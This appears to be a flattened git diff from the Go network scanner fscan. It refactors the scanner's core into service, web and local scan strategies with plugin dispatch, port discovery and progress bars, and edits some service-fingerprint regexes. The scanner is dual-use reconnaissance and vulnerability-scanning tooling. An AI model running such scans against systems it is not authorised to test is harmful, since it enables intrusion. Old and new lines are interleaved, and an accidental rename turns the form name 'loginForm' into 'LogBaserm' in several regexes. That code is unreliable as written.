// Web扫描模式
WebScan = true
executeWebScan(info, &ch, &wg)
default:
// 主机扫描模式
executeHostScan(info, &ch, &wg)
}
// 等待所有扫描任务完成
finishScan(&wg)
}
// executeLocalScan 执行本地扫描
// info: 主机信息
// ch: 并发控制通道
// wg: 等待组
func executeLocalScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
Common.LogInfo("执行本地信息收集")
// 获取本地模式支持的插件列表
validLocalPlugins := getValidPlugins(Common.ModeLocal)
// 验证扫描模式的合法性
if err := validateScanMode(validLocalPlugins, Common.ModeLocal); err != nil {
Common.LogError(err.Error())
return
}
// 输出使用的插件信息
if Common.ScanMode == Common.ModeLocal {
Common.LogInfo("使用全部本地插件")
Common.ParseScanMode(Common.ScanMode)
} else {
Common.LogInfo(fmt.Sprintf("使用插件: %s", Common.ScanMode))
}
// 执行扫描任务
executeScans([]Common.HostInfo{info}, ch, wg)
}
// executeWebScan 执行Web扫描
// info: 主机信息
// ch: 并发控制通道
// wg: 等待组
func executeWebScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
Common.LogInfo("开始Web扫描")
// 获取Web模式支持的插件列表
validWebPlugins := getValidPlugins(Common.ModeWeb)
// 验证扫描模式的合法性
if err := validateScanMode(validWebPlugins, Common.ModeWeb); err != nil {
Common.LogError(err.Error())
return
}
// 处理目标URL列表
var targetInfos []Common.HostInfo
for _, url := range Common.URLs {
urlInfo := info
// 确保URL包含协议头
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
url = "http://" + url
}
urlInfo.Url = url
targetInfos = append(targetInfos, urlInfo)
}
// 输出使用的插件信息
if Common.ScanMode == Common.ModeWeb {
Common.LogInfo("使用全部Web插件")
Common.ParseScanMode(Common.ScanMode)
} else {
Common.LogInfo(fmt.Sprintf("使用插件: %s", Common.ScanMode))
}
// 执行扫描任务
executeScans(targetInfos, ch, wg)
}
// executeHostScan 执行主机扫描
// info: 主机信息
// ch: 并发控制通道
// wg: 等待组
func executeHostScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
// 验证扫描目标
if info.Host == "" {
Common.LogError("未指定扫描目标")
return
}
// 解析目标主机
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
if err != nil {
Common.LogError(fmt.Sprintf("解析主机错误: %v", err))
return
}
Common.LogInfo("开始主机扫描")
executeScan(hosts, info, ch, wg)
}
// getValidPlugins 获取指定模式下的有效插件列表
// mode: 扫描模式
// 返回: 有效插件映射表
func getValidPlugins(mode string) map[string]bool {
validPlugins := make(map[string]bool)
for _, plugin := range Common.PluginGroups[mode] {
validPlugins[plugin] = true
}
return validPlugins
}
// validateScanMode 验证扫描模式的合法性
// validPlugins: 有效插件列表
// mode: 扫描模式
// 返回: 错误信息
func validateScanMode(validPlugins map[string]bool, mode string) error {
if Common.ScanMode == "" || Common.ScanMode == "All" {
Common.ScanMode = mode
} else if _, exists := validPlugins[Common.ScanMode]; !exists {
return fmt.Errorf("无效的%s插件: %s", mode, Common.ScanMode)
}
return nil
}
// executeScan 执行主扫描流程
// hosts: 目标主机列表
// info: 主机信息
// ch: 并发控制通道
// wg: 等待组
func executeScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
var targetInfos []Common.HostInfo
// 处理主机和端口扫描
if len(hosts) > 0 || len(Common.HostPort) > 0 {
// 检查主机存活性
if shouldPingScan(hosts) {
hosts = CheckLive(hosts, Common.UsePing)
Common.LogInfo(fmt.Sprintf("存活主机数量: %d", len(hosts)))
if Common.IsICMPScan() {
return
}
}
// 获取存活端口
alivePorts := getAlivePorts(hosts)
if len(alivePorts) > 0 {
targetInfos = prepareTargetInfos(alivePorts, info)
}
}
// 添加URL扫描目标
targetInfos = appendURLTargets(targetInfos, info)
// 执行漏洞扫描
if len(targetInfos) > 0 {
Common.LogInfo("开始漏洞扫描")
executeScans(targetInfos, ch, wg)
}
}
// shouldPingScan 判断是否需要执行ping扫描
// hosts: 目标主机列表
// 返回: 是否需要ping扫描
func shouldPingScan(hosts []string) bool {
return (Common.DisablePing == false && len(hosts) > 1) || Common.IsICMPScan()
}
// getAlivePorts 获取存活端口列表
// hosts: 目标主机列表
// 返回: 存活端口列表
func getAlivePorts(hosts []string) []string {
var alivePorts []string
// 根据扫描模式选择端口扫描方式
if Common.IsWebScan() {
alivePorts = NoPortScan(hosts, Common.Ports)
} else if len(hosts) > 0 {
alivePorts = PortScan(hosts, Common.Ports, Common.Timeout)
Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
if Common.IsPortScan() {
return nil
}
}
// 合并额外指定的端口
if len(Common.HostPort) > 0 {
alivePorts = append(alivePorts, Common.HostPort...)
alivePorts = Common.RemoveDuplicate(alivePorts)
Common.HostPort = nil
Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
}
return alivePorts
}
// appendURLTargets 添加URL扫描目标
// targetInfos: 现有目标列表
// baseInfo: 基础主机信息
// 返回: 更新后的目标列表
func appendURLTargets(targetInfos []Common.HostInfo, baseInfo Common.HostInfo) []Common.HostInfo {
for _, url := range Common.URLs {
urlInfo := baseInfo
urlInfo.Url = url
targetInfos = append(targetInfos, urlInfo)
}
return targetInfos
}
// prepareTargetInfos 准备扫描目标信息
// alivePorts: 存活端口列表
// baseInfo: 基础主机信息
// 返回: 目标信息列表
func prepareTargetInfos(alivePorts []string, baseInfo Common.HostInfo) []Common.HostInfo {
var infos []Common.HostInfo
for _, targetIP := range alivePorts {
hostParts := strings.Split(targetIP, ":")
if len(hostParts) != 2 {
Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP))
continue
}
info := baseInfo
info.Host = hostParts[0]
info.Ports = hostParts[1]
infos = append(infos, info)
}
return infos
}
// ScanTask 扫描任务结构体
type ScanTask struct { type ScanTask struct {
pluginName string // 插件名称 pluginName string // 插件名称
target Common.HostInfo // 目标信息 target Common.HostInfo // 目标信息
} }
// executeScans 执行扫描任务 // ScanStrategy 定义扫描策略接口
// targets: 目标列表 type ScanStrategy interface {
// ch: 并发控制通道 // 名称和描述
// wg: 等待组 Name() string
func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { Description() string
mode := Common.GetScanMode()
// 获取要执行的插件列表 // 执行扫描的主要方法
pluginsToRun, isSinglePlugin := getPluginsToRun(mode) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup)
// 插件管理方法
GetPlugins() ([]string, bool)
LogPluginInfo()
// 任务准备方法
PrepareTargets(info Common.HostInfo) []Common.HostInfo
IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool
}
// Scanner 扫描器结构体
type Scanner struct {
strategy ScanStrategy
}
// NewScanner 创建新的扫描器并选择合适的策略
func NewScanner(info Common.HostInfo) *Scanner {
scanner := &Scanner{}
scanner.selectStrategy(info)
return scanner
}
// selectStrategy 根据扫描配置选择适当的扫描策略
func (s *Scanner) selectStrategy(info Common.HostInfo) {
switch {
case Common.LocalMode:
s.strategy = NewLocalScanStrategy()
Common.LogBase("已选择本地扫描模式")
case len(Common.URLs) > 0:
s.strategy = NewWebScanStrategy()
Common.LogBase("已选择Web扫描模式")
default:
s.strategy = NewServiceScanStrategy()
Common.LogBase("已选择服务扫描模式")
}
}
// Scan 执行整体扫描流程
func (s *Scanner) Scan(info Common.HostInfo) {
Common.LogBase("开始信息扫描")
lib.Inithttp()
// 并发控制初始化
ch := make(chan struct{}, Common.ThreadNum)
wg := sync.WaitGroup{}
// 执行策略
s.strategy.Execute(info, &ch, &wg)
// 等待所有扫描完成
wg.Wait()
s.finishScan()
}
// finishScan 完成扫描并输出结果
func (s *Scanner) finishScan() {
if Common.ProgressBar != nil {
Common.ProgressBar.Finish()
fmt.Println()
}
Common.LogBase(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num))
}
// 任务执行通用框架
func ExecuteScanTasks(targets []Common.HostInfo, strategy ScanStrategy, ch *chan struct{}, wg *sync.WaitGroup) {
// 获取要执行的插件
pluginsToRun, isCustomMode := strategy.GetPlugins()
// 准备扫描任务
tasks := prepareScanTasks(targets, pluginsToRun, isCustomMode, strategy)
// 输出扫描计划
if Common.ShowScanPlan && len(tasks) > 0 {
logScanPlan(tasks)
}
// 初始化进度条
if len(tasks) > 0 && Common.ShowProgress {
initProgressBar(len(tasks))
}
// 执行所有任务
for _, task := range tasks {
scheduleScanTask(task.pluginName, task.target, ch, wg)
}
}
// 准备扫描任务列表
func prepareScanTasks(targets []Common.HostInfo, pluginsToRun []string, isCustomMode bool, strategy ScanStrategy) []ScanTask {
var tasks []ScanTask var tasks []ScanTask
actualTasks := 0
loadedPlugins := make([]string, 0)
// 收集扫描任务
for _, target := range targets { for _, target := range targets {
targetPort, _ := strconv.Atoi(target.Ports) targetPort := 0
if target.Ports != "" {
targetPort, _ = strconv.Atoi(target.Ports)
}
for _, pluginName := range pluginsToRun { for _, pluginName := range pluginsToRun {
plugin, exists := Common.PluginManager[pluginName] plugin, exists := Common.PluginManager[pluginName]
if !exists { if !exists {
continue continue
} }
taskAdded, newTasks := collectScanTasks(plugin, target, targetPort, pluginName, isSinglePlugin)
if taskAdded { // 检查插件是否适用于当前目标 (通过策略判断)
actualTasks += len(newTasks) if strategy.IsPluginApplicable(plugin, targetPort, isCustomMode) {
loadedPlugins = append(loadedPlugins, pluginName) tasks = append(tasks, ScanTask{
tasks = append(tasks, newTasks...) pluginName: pluginName,
target: target,
})
} }
} }
} }
// 处理插件列表 return tasks
finalPlugins := getUniquePlugins(loadedPlugins) }
Common.LogInfo(fmt.Sprintf("加载的插件: %s", strings.Join(finalPlugins, ", ")))
// 初始化进度条 // logScanPlan 输出扫描计划信息
initializeProgressBar(actualTasks) func logScanPlan(tasks []ScanTask) {
// 统计每个插件的目标数量
// 执行扫描任务 pluginCounts := make(map[string]int)
for _, task := range tasks { for _, task := range tasks {
AddScan(task.pluginName, task.target, ch, wg) pluginCounts[task.pluginName]++
} }
// 构建扫描计划信息
var planInfo strings.Builder
planInfo.WriteString("扫描计划:\n")
for plugin, count := range pluginCounts {
planInfo.WriteString(fmt.Sprintf(" - %s: %d 个目标\n", plugin, count))
}
Common.LogBase(planInfo.String())
} }
// getPluginsToRun 获取要执行的插件列表 // 初始化进度条
// mode: 扫描模式 func initProgressBar(totalTasks int) {
// 返回: 插件列表和是否为单插件模式 Common.ProgressBar = progressbar.NewOptions(totalTasks,
func getPluginsToRun(mode string) ([]string, bool) { progressbar.OptionEnableColorCodes(true),
var pluginsToRun []string progressbar.OptionShowCount(),
isSinglePlugin := false progressbar.OptionSetWidth(15),
progressbar.OptionSetDescription("[cyan]扫描进度:[reset]"),
if plugins := Common.GetPluginsForMode(mode); plugins != nil { progressbar.OptionSetTheme(progressbar.Theme{
pluginsToRun = plugins Saucer: "[green]=[reset]",
} else { SaucerHead: "[green]>[reset]",
pluginsToRun = []string{mode} SaucerPadding: " ",
isSinglePlugin = true BarStart: "[",
} BarEnd: "]",
}),
return pluginsToRun, isSinglePlugin progressbar.OptionThrottle(65*time.Millisecond),
progressbar.OptionUseANSICodes(true),
progressbar.OptionSetRenderBlankState(true),
)
} }
// collectScanTasks 收集扫描任务 // 调度单个扫描任务
// plugin: 插件信息 func scheduleScanTask(pluginName string, target Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
// target: 目标信息
// targetPort: 目标端口
// pluginName: 插件名称
// isSinglePlugin: 是否为单插件模式
// 返回: 是否添加任务和任务列表
func collectScanTasks(plugin Common.ScanPlugin, target Common.HostInfo, targetPort int, pluginName string, isSinglePlugin bool) (bool, []ScanTask) {
var tasks []ScanTask
taskAdded := false
if WebScan || LocalScan || isSinglePlugin || len(plugin.Ports) == 0 || plugin.HasPort(targetPort) {
taskAdded = true
tasks = append(tasks, ScanTask{
pluginName: pluginName,
target: target,
})
}
return taskAdded, tasks
}
// getUniquePlugins 获取去重后的插件列表
// loadedPlugins: 已加载的插件列表
// 返回: 去重并排序后的插件列表
func getUniquePlugins(loadedPlugins []string) []string {
uniquePlugins := make(map[string]struct{})
for _, p := range loadedPlugins {
uniquePlugins[p] = struct{}{}
}
finalPlugins := make([]string, 0, len(uniquePlugins))
for p := range uniquePlugins {
finalPlugins = append(finalPlugins, p)
}
sort.Strings(finalPlugins)
return finalPlugins
}
// initializeProgressBar 初始化进度条
// actualTasks: 实际任务数量
func initializeProgressBar(actualTasks int) {
if Common.ShowProgress {
Common.ProgressBar = progressbar.NewOptions(actualTasks,
progressbar.OptionEnableColorCodes(true),
progressbar.OptionShowCount(),
progressbar.OptionSetWidth(15),
progressbar.OptionSetDescription("[cyan]扫描进度:[reset]"),
progressbar.OptionSetTheme(progressbar.Theme{
Saucer: "[green]=[reset]",
SaucerHead: "[green]>[reset]",
SaucerPadding: " ",
BarStart: "[",
BarEnd: "]",
}),
progressbar.OptionThrottle(65*time.Millisecond),
progressbar.OptionUseANSICodes(true),
progressbar.OptionSetRenderBlankState(true),
)
}
}
// finishScan 完成扫描任务
// wg: 等待组
func finishScan(wg *sync.WaitGroup) {
wg.Wait()
if Common.ProgressBar != nil {
Common.ProgressBar.Finish()
fmt.Println()
}
Common.LogSuccess(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num))
}
// Mutex 用于保护共享资源的并发访问
var Mutex = &sync.Mutex{}
// AddScan 添加扫描任务并启动扫描
// plugin: 插件名称
// info: 目标信息
// ch: 并发控制通道
// wg: 等待组
func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
*ch <- struct{}{}
wg.Add(1) wg.Add(1)
*ch <- struct{}{} // 获取并发槽位
go func() { go func() {
startTime := time.Now()
defer func() { defer func() {
// 捕获并记录任何可能的panic
if r := recover(); r != nil {
Common.LogError(fmt.Sprintf("[PANIC] 插件 %s 扫描 %s:%s 时崩溃: %v",
pluginName, target.Host, target.Ports, r))
}
// 完成任务,释放资源
duration := time.Since(startTime)
if Common.ShowScanPlan {
Common.LogBase(fmt.Sprintf("完成 %s 扫描 %s:%s (耗时: %.2fs)",
pluginName, target.Host, target.Ports, duration.Seconds()))
}
wg.Done() wg.Done()
<-*ch <-*ch // 释放并发槽位
}() }()
atomic.AddInt64(&Common.Num, 1) atomic.AddInt64(&Common.Num, 1)
ScanFunc(&plugin, &info) executeSingleScan(pluginName, target)
updateScanProgress(&info) updateProgress()
}() }()
} }
// ScanFunc 执行扫描插件 // 执行单个扫描
// name: 插件名称 func executeSingleScan(pluginName string, info Common.HostInfo) {
// info: 目标信息 plugin, exists := Common.PluginManager[pluginName]
func ScanFunc(name *string, info *Common.HostInfo) {
defer func() {
if err := recover(); err != nil {
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
}
}()
plugin, exists := Common.PluginManager[*name]
if !exists { if !exists {
Common.LogInfo(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", *name)) Common.LogBase(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", pluginName))
return return
} }
if err := plugin.ScanFunc(info); err != nil { if err := plugin.ScanFunc(&info); err != nil {
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err)) Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
} }
} }
// updateScanProgress 更新扫描进度 // 更新扫描进度
// info: 目标信息 func updateProgress() {
func updateScanProgress(info *Common.HostInfo) {
Common.OutputMutex.Lock() Common.OutputMutex.Lock()
defer Common.OutputMutex.Unlock()
atomic.AddInt64(&Common.End, 1) atomic.AddInt64(&Common.End, 1)
if Common.ProgressBar != nil { if Common.ProgressBar != nil {
fmt.Print("\033[2K\r") fmt.Print("\033[2K\r")
Common.ProgressBar.Add(1) Common.ProgressBar.Add(1)
} }
Common.OutputMutex.Unlock() }
// 入口函数,向后兼容旧的调用方式
func Scan(info Common.HostInfo) {
scanner := NewScanner(info)
scanner.Scan(info)
} }

218
Core/ServiceScanner.go Normal file
View File

@ -0,0 +1,218 @@
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
"sync"
)
// ServiceScanStrategy 服务扫描策略
type ServiceScanStrategy struct{}
// NewServiceScanStrategy 创建新的服务扫描策略
func NewServiceScanStrategy() *ServiceScanStrategy {
return &ServiceScanStrategy{}
}
// Name 返回策略名称
func (s *ServiceScanStrategy) Name() string {
return "服务扫描"
}
// Description 返回策略描述
func (s *ServiceScanStrategy) Description() string {
return "扫描主机服务和漏洞"
}
// Execute 执行服务扫描策略
func (s *ServiceScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
// 验证扫描目标
if info.Host == "" {
Common.LogError("未指定扫描目标")
return
}
// 验证插件配置
if err := validateScanPlugins(); err != nil {
Common.LogError(err.Error())
return
}
// 解析目标主机
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
if err != nil {
Common.LogError(fmt.Sprintf("解析主机错误: %v", err))
return
}
Common.LogBase("开始主机扫描")
// 输出插件信息
s.LogPluginInfo()
// 执行主机扫描流程
s.performHostScan(hosts, info, ch, wg)
}
// performHostScan 执行主机扫描的完整流程
func (s *ServiceScanStrategy) performHostScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
var targetInfos []Common.HostInfo
// 主机存活性检测和端口扫描
if len(hosts) > 0 || len(Common.HostPort) > 0 {
// 主机存活检测
if s.shouldPerformLivenessCheck(hosts) {
hosts = CheckLive(hosts, Common.UsePing)
Common.LogBase(fmt.Sprintf("存活主机数量: %d", len(hosts)))
}
// 端口扫描
alivePorts := s.discoverAlivePorts(hosts)
if len(alivePorts) > 0 {
targetInfos = s.convertToTargetInfos(alivePorts, info)
}
}
// 执行漏洞扫描
if len(targetInfos) > 0 {
Common.LogBase("开始漏洞扫描")
ExecuteScanTasks(targetInfos, s, ch, wg)
}
}
// shouldPerformLivenessCheck 判断是否需要执行存活性检测
func (s *ServiceScanStrategy) shouldPerformLivenessCheck(hosts []string) bool {
return Common.DisablePing == false && len(hosts) > 1
}
// discoverAlivePorts 发现存活的端口
func (s *ServiceScanStrategy) discoverAlivePorts(hosts []string) []string {
var alivePorts []string
// 根据扫描模式选择端口扫描方式
if len(hosts) > 0 {
alivePorts = EnhancedPortScan(hosts, Common.Ports, Common.Timeout)
Common.LogBase(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
}
// 合并额外指定的端口
if len(Common.HostPort) > 0 {
alivePorts = append(alivePorts, Common.HostPort...)
alivePorts = Common.RemoveDuplicate(alivePorts)
Common.HostPort = nil
Common.LogBase(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
}
return alivePorts
}
// PrepareTargets 准备目标信息
func (s *ServiceScanStrategy) PrepareTargets(info Common.HostInfo) []Common.HostInfo {
// 解析目标主机
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
if err != nil {
Common.LogError(fmt.Sprintf("解析主机错误: %v", err))
return nil
}
var targetInfos []Common.HostInfo
// 主机存活性检测和端口扫描
if len(hosts) > 0 || len(Common.HostPort) > 0 {
// 主机存活检测
if s.shouldPerformLivenessCheck(hosts) {
hosts = CheckLive(hosts, Common.UsePing)
}
// 端口扫描
alivePorts := s.discoverAlivePorts(hosts)
if len(alivePorts) > 0 {
targetInfos = s.convertToTargetInfos(alivePorts, info)
}
}
return targetInfos
}
// convertToTargetInfos 将端口列表转换为目标信息
func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo Common.HostInfo) []Common.HostInfo {
var infos []Common.HostInfo
for _, targetIP := range ports {
hostParts := strings.Split(targetIP, ":")
if len(hostParts) != 2 {
Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP))
continue
}
info := baseInfo
info.Host = hostParts[0]
info.Ports = hostParts[1]
infos = append(infos, info)
}
return infos
}
// GetPlugins 获取服务扫描插件列表
func (s *ServiceScanStrategy) GetPlugins() ([]string, bool) {
// 如果指定了插件列表且不是"all"
if Common.ScanMode != "" && Common.ScanMode != "all" {
plugins := parsePluginList(Common.ScanMode)
if len(plugins) > 0 {
return plugins, true
}
return []string{Common.ScanMode}, true
}
// 未指定或使用"all"获取所有插件由IsPluginApplicable做类型过滤
return GetAllPlugins(), false
}
// LogPluginInfo 输出服务扫描插件信息
func (s *ServiceScanStrategy) LogPluginInfo() {
allPlugins, isCustomMode := s.GetPlugins()
// 如果是自定义模式,直接显示用户指定的插件
if isCustomMode {
Common.LogBase(fmt.Sprintf("使用指定插件: %s", strings.Join(allPlugins, ", ")))
return
}
// 在自动模式下,过滤掉本地插件,只显示服务类型插件
var applicablePlugins []string
for _, pluginName := range allPlugins {
plugin, exists := Common.PluginManager[pluginName]
if exists && !plugin.HasType(Common.PluginTypeLocal) {
applicablePlugins = append(applicablePlugins, pluginName)
}
}
if len(applicablePlugins) > 0 {
Common.LogBase(fmt.Sprintf("使用服务插件: %s", strings.Join(applicablePlugins, ", ")))
} else {
Common.LogBase("未找到可用的服务插件")
}
}
// IsPluginApplicable 判断插件是否适用于服务扫描
func (s *ServiceScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
return true
}
// 非自定义模式下,排除本地插件
if plugin.HasType(Common.PluginTypeLocal) {
return false
}
// 检查端口是否匹配
if len(plugin.Ports) > 0 && targetPort > 0 {
return plugin.HasPort(targetPort)
}
// 无端口限制的插件或适用于服务扫描的插件
return len(plugin.Ports) == 0 || plugin.HasType(Common.PluginTypeService)
}

125
Core/WebScanner.go Normal file
View File

@ -0,0 +1,125 @@
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
"sync"
)
// WebScanStrategy Web扫描策略
type WebScanStrategy struct{}
// NewWebScanStrategy 创建新的Web扫描策略
func NewWebScanStrategy() *WebScanStrategy {
return &WebScanStrategy{}
}
// Name 返回策略名称
func (s *WebScanStrategy) Name() string {
return "Web扫描"
}
// Description 返回策略描述
func (s *WebScanStrategy) Description() string {
return "扫描Web应用漏洞和信息"
}
// Execute 执行Web扫描策略
func (s *WebScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
Common.LogBase("开始Web扫描")
// 验证插件配置
if err := validateScanPlugins(); err != nil {
Common.LogError(err.Error())
return
}
// 准备URL目标
targets := s.PrepareTargets(info)
// 输出插件信息
s.LogPluginInfo()
// 执行扫描任务
ExecuteScanTasks(targets, s, ch, wg)
}
// PrepareTargets 准备URL目标列表
func (s *WebScanStrategy) PrepareTargets(baseInfo Common.HostInfo) []Common.HostInfo {
var targetInfos []Common.HostInfo
for _, url := range Common.URLs {
urlInfo := baseInfo
// 确保URL包含协议头
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
url = "http://" + url
}
urlInfo.Url = url
targetInfos = append(targetInfos, urlInfo)
}
return targetInfos
}
// GetPlugins 获取Web扫描插件列表
func (s *WebScanStrategy) GetPlugins() ([]string, bool) {
// 如果指定了自定义插件并且不是"all"
if Common.ScanMode != "" && Common.ScanMode != "all" {
requestedPlugins := parsePluginList(Common.ScanMode)
if len(requestedPlugins) == 0 {
requestedPlugins = []string{Common.ScanMode}
}
// 验证插件是否存在不做Web类型过滤
var validPlugins []string
for _, name := range requestedPlugins {
if _, exists := Common.PluginManager[name]; exists {
validPlugins = append(validPlugins, name)
}
}
if len(validPlugins) > 0 {
return validPlugins, true
}
}
// 未指定或使用"all"获取所有插件由IsPluginApplicable做类型过滤
return GetAllPlugins(), false
}
// LogPluginInfo 输出Web扫描插件信息
func (s *WebScanStrategy) LogPluginInfo() {
allPlugins, isCustomMode := s.GetPlugins()
// 如果是自定义模式,直接显示用户指定的插件
if isCustomMode {
Common.LogBase(fmt.Sprintf("Web扫描模式: 使用指定插件: %s", strings.Join(allPlugins, ", ")))
return
}
// 在自动模式下只显示Web类型的插件
var applicablePlugins []string
for _, pluginName := range allPlugins {
plugin, exists := Common.PluginManager[pluginName]
if exists && plugin.HasType(Common.PluginTypeWeb) {
applicablePlugins = append(applicablePlugins, pluginName)
}
}
if len(applicablePlugins) > 0 {
Common.LogBase(fmt.Sprintf("Web扫描模式: 使用Web插件: %s", strings.Join(applicablePlugins, ", ")))
} else {
Common.LogBase("Web扫描模式: 未找到可用的Web插件")
}
}
// IsPluginApplicable 判断插件是否适用于Web扫描
func (s *WebScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
return true
}
// 非自定义模式下只运行Web类型插件
return plugin.HasType(Common.PluginTypeWeb)
}

View File

@ -7401,9 +7401,9 @@ match http m|^HTTP/1\.[01] \d\d\d.*<title>Metasploit Framework Web Console v([-\
match http m|^HTTP/1\.0 200 OK\r\nHTTP/1\.0 200 OK\r\nServer: (\w+)\r\nConnection: close\r\nCache-Control: must-revalidate = no-cache\r\nContent-Type: text/html\r\nExpires: 0\r\nLast-Modified: 0\r\n\r\n<html><head>\r\n<title>Netgear Access Point http config</title>| p/$1/ i/Netgear WG602 wireless router http config/ d/router/ cpe:/h:netgear:wg602/a match http m|^HTTP/1\.0 200 OK\r\nHTTP/1\.0 200 OK\r\nServer: (\w+)\r\nConnection: close\r\nCache-Control: must-revalidate = no-cache\r\nContent-Type: text/html\r\nExpires: 0\r\nLast-Modified: 0\r\n\r\n<html><head>\r\n<title>Netgear Access Point http config</title>| p/$1/ i/Netgear WG602 wireless router http config/ d/router/ cpe:/h:netgear:wg602/a
match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html; charset=iso-8859-1\r\nServer: Grandstream/([\d.]+)\r\n\r\n<HTML><HEAD><TITLE>Login Page</TITLE>.*<font size=4 color=\"ffffffff\">Welcome to Grandstream IP Phone</font>|s p/Grandstream httpd/ v/$1/ i/BudgeTone-100 VoIP phone http config/ d/VoIP phone/ match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html; charset=iso-8859-1\r\nServer: Grandstream/([\d.]+)\r\n\r\n<HTML><HEAD><TITLE>Login Page</TITLE>.*<font size=4 color=\"ffffffff\">Welcome to Grandstream IP Phone</font>|s p/Grandstream httpd/ v/$1/ i/BudgeTone-100 VoIP phone http config/ d/VoIP phone/
match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html;charset=iso-8859-1\r\nContent-Length: \d+\r\nServer: Grandstream (BT\w+) ([\w._-]+)\r\n| p/Grandstream $1 VoIP phone http config/ v/$2/ d/VoIP phone/ cpe:/h:grandstream:$1/ match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html;charset=iso-8859-1\r\nContent-Length: \d+\r\nServer: Grandstream (BT\w+) ([\w._-]+)\r\n| p/Grandstream $1 VoIP phone http config/ v/$2/ d/VoIP phone/ cpe:/h:grandstream:$1/
match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Grandstream\r\n.*<title>Grandstream Device Configuration</title>\n.*<form action=\"dologin\.htm\" method=\"post\" name=\"loginForm\">\n|s p/Grandstream GXV-3000 VoIP phone http config/ d/VoIP phone/ cpe:/h:grandstream:gxv-3000/ match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Grandstream\r\n.*<title>Grandstream Device Configuration</title>\n.*<form action=\"dologin\.htm\" method=\"post\" name=\"LogBaserm\">\n|s p/Grandstream GXV-3000 VoIP phone http config/ d/VoIP phone/ cpe:/h:grandstream:gxv-3000/
match http m|^HTTP/1\.0 200 OK\n.*<title>Grandstream Device Configuration</title>\n.*<form action=\"/cgi-bin/dologin\" method=\"post\" name=\"loginForm\">|s p/Grandstream HT502 VoIP router http config/ d/VoIP adapter/ cpe:/h:grandstream:ht502/ match http m|^HTTP/1\.0 200 OK\n.*<title>Grandstream Device Configuration</title>\n.*<form action=\"/cgi-bin/dologin\" method=\"post\" name=\"LogBaserm\">|s p/Grandstream HT502 VoIP router http config/ d/VoIP adapter/ cpe:/h:grandstream:ht502/
match http m|^HTTP/1\.1 200 OK\r\n.*<title>Grandstream Device Configuration</title>\r\n.*<form action=\"dologin\.htm\" method=\"post\" name=\"loginForm\">|s p/Grandstream HT286 VoIP router http config/ d/VoIP adapter/ cpe:/h:grandstream:ht286/ match http m|^HTTP/1\.1 200 OK\r\n.*<title>Grandstream Device Configuration</title>\r\n.*<form action=\"dologin\.htm\" method=\"post\" name=\"LogBaserm\">|s p/Grandstream HT286 VoIP router http config/ d/VoIP adapter/ cpe:/h:grandstream:ht286/
match http m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Tcl-Webserver/([\d.]+) .*CRADLE VERSION ([\d.]+) CONTENTS TEMPLATE\r\n|s p/Tcl-Webserver/ v/$1/ i/Cradle Web-Access httpd $2/ match http m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Tcl-Webserver/([\d.]+) .*CRADLE VERSION ([\d.]+) CONTENTS TEMPLATE\r\n|s p/Tcl-Webserver/ v/$1/ i/Cradle Web-Access httpd $2/
match http m|^HTTP/1\.0 \d\d\d .*\r\nDate: .*\r\nServer: Tcl-Webserver/([\d.]+) .*\r\n| p/Tcl-Webserver/ v/$1/ match http m|^HTTP/1\.0 \d\d\d .*\r\nDate: .*\r\nServer: Tcl-Webserver/([\d.]+) .*\r\n| p/Tcl-Webserver/ v/$1/
